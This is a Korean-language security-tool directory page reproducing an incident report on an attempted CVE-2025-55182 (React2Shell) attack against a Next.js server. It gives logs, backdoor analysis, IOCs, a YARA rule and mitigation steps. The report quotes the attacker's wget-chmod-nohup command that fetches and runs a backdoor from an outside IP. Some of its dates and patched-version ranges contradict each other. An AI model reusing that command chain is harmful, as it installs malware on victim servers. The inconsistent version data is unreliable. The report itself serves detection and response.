Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182-Attack-Analysis — CVE-2025-55182 (React2Shell) 실제 공격 분석 - React Server Components RCE 취약점 | Kitploit
도구/GitHubGitHub/ngvcanh/cve-2025-55182-attack-analysis
Indicator of Compromise (IOC) ManagementVulnerability AnalysisForensicsWeb SecurityMalware AnalysisThreat IntelligenceLearning & EducationIncident Response

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
ngvcanh/cve-2025-55182-attack-analysis

CVE-2025-55182-Attack-Analysis

CVE-2025-55182 (React2Shell) 실제 공격 분석 - React Server Components RCE 취약점

저장소 보기
3110개월 전아직 검토되지 않음

CVE-2025-55182 공격 분석: React 서버 컴포넌트 RCE

프로덕션 Next.js 애플리케이션에 대한 실제 공격 분석

📋 목차

  • 요약
  • 취약점 개요
  • 공격 타임라인
  • 기술 분석
  • 악성코드 분석
  • 침해 지표(IOC)
  • 완화 및 대응
  • 교훈
  • 참고 자료

요약

2025년 12월 5일, 저희 프로덕션 Next.js 애플리케이션이 React Server Components의 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2025-55182(React2Shell)를 악용한 공격자의 표적이 되었습니다. 이 공격은 서버에서 Linux 백도어 트로이 목마를 다운로드하여 실행하려고 시도했습니다.

속성값
CVE IDCVE-2025-55182
CVSS 점수9.8 (치명적)
공격 날짜2025년 12월 5일
공격 결과✅ 차단됨(패치 이후)
악성코드 유형Linux 백도어 트로이 목마
영향받은 스택Next.js + React Server Components

취약점 개요

CVE-2025-55182란?

CVE-2025-55182(일명 "React2Shell")는 React Server Components(RSC)에 영향을 주는 치명적인 원격 코드 실행(RCE) 취약점입니다.

  • React: 19.0.0 - 19.2.1 버전
  • Next.js: 15.x 및 16.x 버전(패치 이전)

근본 원인

이 취약점은 React의 Flight Server 내 renderToReadableStream() 함수에 존재합니다. 특수하게 조작된 RSC 페이로드를 처리할 때 서버가 특정 입력을 제대로 삭제(샌드나이즈)하지 못하여 임의 코드 실행으로 이어집니다.

공격 벡터

Attacker → Malicious RSC Payload → Flight Server → eval() → RCE

공격자는 악성 직렬화 페이로드가 포함된 조작된 POST 요청을 보내며, 이 페이로드는 서버에서 역직렬화되어 실행됩니다.


공격 타임라인

1단계: 초기 악용 시도(패치 이전)

타임스탬프(UTC)이벤트
Dec 5, 06:20Sentry를 통해 첫 번째 공격 감지
Dec 5, 06:20페이로드가 셸 명령 실행 시도
Dec 5, 06:20공격 부분 성공(패치 이전)

Sentry 오류 로그(패치 이전):

Error: root
  at eval (eval at <anonymous>, <anonymous>:3:6)
  at nk (chunk.js)
  at JSON.parse (<anonymous>)
  at n5 (/app/node_modules/next/dist/server/app-render.js)

2단계: 패치 배포

타임스탬프조치
Dec 4, 14:13Next.js 16.0.7로 업그레이드
Dec 4, 14:13패치된 버전(v1.0.0-beta-4) 배포

3단계: 패치 이후 공격 차단

타임스탬프(UTC)이벤트
Dec 5, 08:48공격 시도 감지
Dec 5, 08:48페이로드 실행 차단됨
Dec 5, 08:48오류: syntax error: unexpected ";"

Sentry 오류 로그(패치 이후):

Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ; 
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"

패치는 악성 명령이 실행되는 것을 성공적으로 차단했습니다.


기술 분석

공격 요청 세부 정보

속성값
대상 URLhttps://[REDACTED]/
메서드POST
사용자 에이전트Python Requests 2.31
출처자동화된 공격 스크립트

페이로드 분석

공격자는 다음 명령 체인을 실행하려고 시도했습니다:

wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim

단계별 설명:

단계명령목적
1wget http://45.76.155.14/vim -O /tmp/vim악성코드 다운로드
2chmod +x /tmp/vim실행 권한 부여
3nohup /tmp/vim > /dev/null 2>&1 &백그라운드에서 실행, 로그아웃 후에도 유지
4rm -f /tmp/vim증거 삭제

서버 환경

구성 요소버전
운영체제Alpine Linux 3.23.0
런타임Node.js v20.19.6
프레임워크Next.js 16.0.7(패치됨)
컨테이너Docker

악성코드 분석

파일 정보

속성값
파일 이름vim (정상 도구로 위장)
SHA2560f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce
파일 유형ELF 64비트 LSB 실행 파일, x86-64
언어Go (컴파일된 바이너리)
파일 크기약 4.7MB

VirusTotal 결과

탐지율: 13/72 (18%)

공급업체탐지 명
DrWebLinux.BackDoor.Siggen.389
AhnLab-V3Backdoor/Linux.Agent.4780032
KasperskyHEUR:Trojan.Linux.Agent.gen
ESET-NOD32Linux/Agent.PX Trojan
Avast/AVGELF:Agent-BQE [Trj]
AliCloudTrojan:Linux/Agent.ff565f70
Antiy-AVLTrojan/Linux.Agent.px
RisingTrojan.Agent/Linux!8.13268
SentinelOneStatic AI - Suspicious ELF
TencentMalware.Linux.Generic.1c03c8b9
ZillyaTrojan.Agent.Linux.5292

VirusTotal 링크: 분석 보기

바이너리 분석

ELF 헤더:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000  ..>.....`.E.....

식별된 기능:

기능근거
HTTP/HTTPS 클라이언트net/http, *http.Client
TLS 암호화crypto/tls, crypto/aes
SOCKS5 프록시socks, socks5
DNS 확인net/dns/dnsmessage
강력한 암호화chacha20poly1305, Ed25519

추출된 문자열(관련 항목):

crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack

트리거된 IDS 규칙

심각도규칙소스
낮음ET POLICY HTTP traffic on port 443 (POST)Proofpoint ET Open
낮음ET DNS Query for .cc TLDProofpoint ET Open

악성코드 분류

유형: Linux 백도어 트로이 목마

기능:

  • 원격 셸 액세스
  • 명령 및 제어(C2) 통신
  • 파일 업로드/다운로드
  • 암호화된 통신
  • SOCKS5를 통한 트래픽 터널링
  • 지속성 메커니즘

침해 지표(IOC)

네트워크 IOC

유형값설명
IP 주소45.76.155.14악성코드 배포 서버
URLhttp://45.76.155.14/vim악성코드 다운로드 URL
호스팅Vultr VPS클라우드 제공업체
TLD.ccC2 도메인이 .cc TLD 사용

파일 IOC

유형값
SHA2560f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce
SHA1[Calculate if needed]
MD5[Calculate if needed]
파일 이름vim (위장됨)
파일 유형ELF 64비트 x86-64
파일 크기약 4.7MB

행동 IOC

지표설명
외부 IP로 wget비표준 URL에서 다운로드
/tmp/의 파일임시 디렉토리의 의심스러운 실행 파일
nohup + 백그라운드 실행지속성 시도
즉시 파일 삭제증거 정리
Python Requests 사용자 에이전트자동화된 공격 도구

YARA 규칙

rule CVE_2025_55182_Backdoor {
    meta:
        description = "Detects backdoor distributed via CVE-2025-55182"
        author = "Security Researcher"
        date = "2025-12-05"
        hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
    
    strings:
        $elf = { 7F 45 4C 46 }
        $go1 = "vendor/golang.org/x/crypto" ascii
        $go2 = "vendor/golang.org/x/net" ascii
        $net1 = "net/http" ascii
        $net2 = "socks5" ascii
        $crypto1 = "crypto/tls" ascii
        $crypto2 = "chacha20poly1305" ascii
    
    condition:
        $elf at 0 and
        (2 of ($go*)) and
        (1 of ($net*)) and
        (1 of ($crypto*))
}

완화 및 대응

즉시 수행된 조치

조치상태세부 사항
✅ Next.js 업그레이드완료16.0.4 → 16.0.7
✅ React 업그레이드완료19.1.0 → 19.2.1(패치됨)
✅ 애플리케이션 재배포완료Docker 재빌드
✅ 악성코드 분석완료VirusTotal 제출
✅ 호스팅에 신고완료Vultr 악용 신고 전송
⏳ 자격 증명 교체대기 중데이터베이스, JWT, API 키

악용 신고

2025년 12월 5일에 C2 서버의 호스팅 제공업체인 Vultr에 다음 내용이 포함된 악용 신고가 제출되었습니다:

  • 악성 IP 주소 및 URL
  • 악성코드의 SHA256 해시
  • VirusTotal 분석 링크
  • 공격 벡터 설명(CVE-2025-55182)

패치된 버전

패키지취약한 버전패치 버전
Next.js< 15.3.3, < 16.0.5≥ 15.3.3, ≥ 16.0.5
React19.0.0 - 19.1.0≥ 19.2.1 (2025년 6월 이상)

권장 완화 조치

1. 즉시 업그레이드하십시오:

# For Next.js 16.x
npm install [email protected] [email protected] [email protected]

# For Next.js 15.x
npm install [email protected] [email protected] [email protected]

2. 악성 IP 차단:

# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP

# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14

3. IOC 모니터링:

# Check for suspicious files
find /tmp -type f -executable 2>/dev/null

# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"

# Check network connections
netstat -an | grep "45.76.155.14"

4. 모든 시크릿 교체:

  • 데이터베이스 자격 증명
  • JWT 시크릿
  • API 키
  • 세션 시크릿

교훈

잘된 점

  1. Sentry 모니터링이 공격을 즉시 감지했습니다.
  2. CVE 공개 후 몇 시간 내 신속한 패치 배포가 이루어졌습니다.
  3. Docker 컨테이너화로 피해 범위가 제한되었습니다.
  4. 패치 이후 보호가 후속 공격을 성공적으로 차단했습니다.
도구 다운로드